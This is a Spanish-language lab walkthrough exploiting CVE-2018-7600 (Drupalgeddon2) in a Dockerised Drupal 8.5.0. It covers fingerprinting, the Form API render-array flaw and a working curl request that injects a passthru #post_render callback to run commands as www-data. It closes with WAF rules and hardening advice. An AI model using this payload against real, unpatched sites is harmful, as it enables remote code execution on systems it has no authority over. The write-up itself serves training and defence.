dungsocool/cve-2018-7600Guía paso a paso de laboratorio para explotar CVE-2018-7600 (Drupalgeddon2) RCE en Drupal 8.5.0, que cubre el análisis de la superficie de ataque, el fingerprinting de versiones y la explotación mediante inyección en Form API.
Comience enumerando los contenedores en ejecución:
docker ps
De los resultados de docker ps, el contenedor para este Laboratorio es:
p1/lab09:latest
Este contenedor expone el puerto:
0.0.0.0:8011->80/tcp
Esto indica que el servicio dentro del contenedor está escuchando en el puerto 80/tcp y está mapeado al puerto 8011 en el host.
El puerto 80/tcp es el puerto estándar para HTTP. Por lo tanto, este laboratorio objetivo es muy probablemente una aplicación web HTTP. Para confirmar el servicio web, envío una solicitud HTTP usando curl junto con el acceso a la GUI de la página web.
curl -i http://192.168.3.137:8011/
Evaluación de la superficie de ataque
A partir de la respuesta HTTP y la interfaz web, se identificó la siguiente información:
Web server: Apache/2.4.25 (Debian) Backend: PHP/7.2.3 CMS: Drupal Drupal version: 8.5.0 Install path: /core/install.php Public port: 8011 -> 80/tcp
Esta información sirve como huellas digitales cruciales para correlacionar con CVEs. Específicamente, Drupal 8.5.0 es la versión directamente relacionada con CVE-2018-7600, también conocido como Drupalgeddon2.
Según el aviso oficial de Drupal, SA-CORE-2018-002 / CVE-2018-7600 afecta a las siguientes versiones:
>= 8.5.0 < 8.5.1
El objetivo actual está ejecutando:
Drupal 8.5.0
por lo tanto, se encuentra dentro del rango de versiones afectadas.
⇒ Razonamiento:
En esta etapa, la versión 8.5.0 de Drupal es una evidencia sólida para identificar el CVE sospechoso. Razono de la siguiente manera:
docker ps muestra que el Laboratorio expone el servicio HTTP a través del puerto 8011.curl -i devuelve una respuesta HTTP válida de Apache/PHP./core/install.php.Drupal >=8.5.0 <8.5.1 está afectado por CVE-2018-7600.Drupal 8.5.0, lo que lo hace elegible bajo los criterios de versión para probar CVE-2018-7600.El objetivo es Drupal 8.5.0 ejecutándose en Apache/PHP. Esta versión se encuentra dentro del rango afectado por CVE-2018-7600 según el aviso oficial de Drupal. El siguiente paso es verificar las condiciones reales de explotación para confirmar si el objetivo puede ser sometido a RCE.
Del paso anterior de fingerprinting, el objetivo muestra claramente: Drupal 8.5.0. Según el aviso oficial de Drupal, la vulnerabilidad SA-CORE-2018-002 / CVE-2018-7600 afecta a las versiones del núcleo de Drupal:
>= 8.5.0 < 8.5.1. El objetivo actual ejecuta exactamente Drupal 8.5.0, ubicándolo dentro del rango de versiones afectadas. Según el aviso de Drupal, esta es una vulnerabilidad de Ejecución Remota de Código en el núcleo de Drupal, que podría permitir a un atacante explotar múltiples vectores de ataque y comprometer todo el sitio.
Sin embargo, se puede ver que el objetivo está redirigiendo a /core/install.php y la GUI muestra la pantalla de instalación de Drupal. Esto sugiere que Drupal podría estar en un estado de instalación incompleta. Si la configuración del sitio no se ha completado, los endpoints comunes utilizados para desencadenar Drupalgeddon2 como /user/register, /user/password y /user/login podrían no funcionar correctamente. Por lo tanto, es necesario verificar estos endpoints.
curl -i http://192.168.3.137:8011/user/register curl -i http://192.168.3.137:8011/user/password curl -i http://192.168.3.137:8011/user/login
Se puede observar que los endpoints aún son redirigidos a /core/install.php
Conclusión:
El objetivo ejecuta Drupal 8.5.0, ubicándose dentro del rango de versiones afectadas por CVE-2018-7600 según el aviso oficial de Drupal. Sin embargo, al momento de las pruebas, la aplicación se encuentra en estado de instalador y redirige continuamente rutas como /user/register, /user/password y /user/login a /core/install.php.
Esto demuestra que los endpoints comúnmente utilizados para verificar Drupalgeddon2 aún no funcionan como lo harían en un sitio Drupal completamente instalado. Por lo tanto, el objetivo actualmente solo cumple la condición de versión pero aún no cumple las condiciones de ejecución para demostrar la Ejecución Remota de Código.
=> Razonamiento:
Necesitamos demostrar adicionalmente que Drupal en su estado de ejecución puede procesar las rutas/formularios vulnerables, que un atacante puede acceder a los endpoints sin autenticación y que los payloads de verificación como id pueden ejecutarse con éxito.
En el objetivo actual, los endpoints redirigen al instalador, por lo que el siguiente camino es evaluar si la pantalla de instalación de Drupal crea su propia superficie de ataque, en lugar de concluir inmediatamente un RCE de Drupalgeddon2.
Después de verificar que los endpoints de ejecución de Drupal como /user/register, /user/password y /user/login son todos redirigidos a /core/install.php, procedí a analizar la pantalla del instalador.
Verificando el servicio de base de datos que soporta el instalador
Dado que el instalador de Drupal está actualmente detenido en el paso de configuración de la base de datos, verifiqué si los servicios de base de datos comunes están expuestos externamente:
nmap -sV -p 3306,5432,33060 192.168.3.137
El objetivo actualmente expone el instalador de Drupal externamente, pero no se han detectado servicios de base de datos accesibles directamente desde la máquina del atacante.
Conclusión: El laboratorio expone el instalador de Drupal 8.5.0 y presenta divulgación de información sobre la versión vulnerable. CVE-2018-7600 es un vector sospechoso válido, pero la explotación exitosa aún no ha sido probada.
CVE-2018-7600 explota una vulnerabilidad en la API de Formularios de Drupal - el sistema de renderizado de formularios que utiliza la estructura Render Array. Al procesar una solicitud AJAX, Drupal usa el parámetro element_parents para localizar elementos en el árbol del formulario sin verificar (sanitizar) las claves que comienzan con el carácter #. Los atacantes inyectan propiedades como #post_render, #markup y #type a través de datos POST para forzar al motor de renderizado a ejecutar funciones PHP arbitrarias (por ejemplo, exec, passthru, system).
Condición previa: Al menos un endpoint que use la API de Formularios debe devolver una respuesta válida (sin redirección, sin bloqueo por control de acceso) para que el atacante pueda enviar una solicitud AJAX que contenga el payload.
Endpoints comúnmente utilizados en PoCs públicos:
/user/register (formulario de registro - no requiere inicio de sesión)/user/password (formulario de contraseña olvidada - no requiere inicio de sesión)/user/login (formulario de inicio de sesión - no requiere inicio de sesión)En el objetivo actual: Los 3 endpoints anteriores son redirigidos vía 302 a /core/install.php ⇒ aún no se cumple
La vulnerabilidad ocurre dentro del pipeline de procesamiento AJAX de la API de Formularios: FormBuilder → RenderArray → ejecución del callback #post_render. Este pipeline solo opera cuando Drupal inicializa (bootstrap) todos los subsistemas necesarios (enrutamiento, estado del formulario, motor de renderizado).
En el estado de instalador, Drupal se ejecuta en modo de bootstrap mínimo - solo inicializa lo suficiente para mostrar el formulario de instalación, pero subsistemas como enrutamiento, manejador AJAX y el pipeline completo de renderizado podrían no estar completamente activados.
En el objetivo actual: Drupal está en estado de instalador ⇒ requiere verificación adicional
# en las solicitudesEl parche oficial de Drupal agrega la clase RequestSanitizer con el método stripDangerousValues() - que escanea todos los $_GET, $_POST y $_COOKIE, y elimina cualquier clave que comience con # en las etapas tempranas del bootstrap.
Si el objetivo no está parcheado (ejecutando 8.5.0), la clase RequestSanitizer no existe → la entrada que contenga # no será filtrada ⇒ se cumple
Conclusión: El objetivo cumple la condición de versión y la de ausencia del parche. Sin embargo, las condiciones de endpoint disponible e bootstrap completo aún no se han demostrado debido a que Drupal está en estado de instalador. El siguiente paso es probar si el formulario del instalador (/core/install.php) - que también usa la API de Formularios y Render Array - puede ser explotado como sustituto de los endpoints estándar.
Después de identificar que el objetivo está ejecutando Drupal 8.5.0 en estado de instalador, los endpoints estándar típicamente utilizados para explotar CVE-2018-7600 como /user/register, /user/password y /user/login son todos redirigidos a /core/install.php. Supuse que esto podría deberse a que no había completado la configuración de la interfaz, pero aun así quería investigar más a fondo.
Después de la verificación, se descubrió que el formulario del instalador usa la misma API de Formularios y el mismo motor Render Array vulnerables. Sin embargo, el pipeline AJAX requiere que el Caché de Formularios funcione — que por defecto usa la base de datos como backend. Debido a que aún no hay base de datos, la solicitud AJAX al formulario del instalador devuelve una FormAjaxException en FormBuilder.php:333, confirmando que el pipeline está activado pero falló en el paso de carga de caché.
Razonamiento: Instalaré Drupal usando SQLite - una base de datos que no requiere un servidor dedicado, solo acceso de escritura a archivos en el disco del contenedor.
Con Drupal en línea, el endpoint /user/register funciona con normalidad y sirve como punto de inyección. El payload utiliza el mecanismo de inyección de render array:
element_parents=account/mail/%23value — localiza el campo mail en el árbol del formulariomail[#post_render][]=passthru — inyecta la función callback passthru()mail[#markup]=id — el contenido pasado a passthru() como argumentocurl -v "http://192.168.3.137:8011/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" \
-H "X-Requested-With: XMLHttpRequest" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=passthru&mail[#type]=markup&mail[#markup]=id"
Análisis de la respuesta:
El resultado uid=33(www-data) indica que el payload se ejecutó en el sistema operativo bajo los privilegios del usuario www-data. Este es el usuario típicamente utilizado para ejecutar el servidor web Apache/PHP en Linux basado en Debian. Dado que el comando id se ejecutó en el lado del servidor y devolvió resultados, se confirma la Ejecución Remota de Código exitosa. Sin embargo, el privilegio actual es www-data, no root, por lo que el alcance de control inicial está restringido a los permisos del servidor web.
Control de acceso a endpoints
Si el sitio no requiere registro público de usuarios, deshabilite el endpoint /user/register:
Reglas WAF — Bloqueo de payloads característicos
Agregue reglas WAF para bloquear solicitudes que contengan claves como #post_render, #pre_render o #markup en el cuerpo POST:
SecRule REQUEST_BODY "@contains #post_render" "deny,status:403"
SecRule REQUEST_BODY "@contains #pre_render" "deny,status:403"
SecRule ARGS_NAMES "@rx ^#" "deny,status:403"
Principio de privilegio mínimo para el servidor web
El servidor web no debe ejecutarse bajo privilegios de root. Los resultados del laboratorio confirman que el proceso se ejecuta como uid=33(www-data) — que es la configuración correcta, pero se deben realizar las siguientes mejoras:
www-data estrictamente a los directorios necesarios (sites/default/files/)/var/www/html/core/, /var/www/html/modules/)No exponer el instalador a Internet
En este laboratorio, el instalador es público — un atacante puede explotar esto para reinstalar Drupal usando SQLite y realizar la explotación. La producción en el mundo real requiere:
/core/install.php después de completar la instalación.htaccess o configuración del servidor web para bloquear el acceso externo a /core/install.php<Files "install.php">
Order deny,allow
Deny from all
</Files>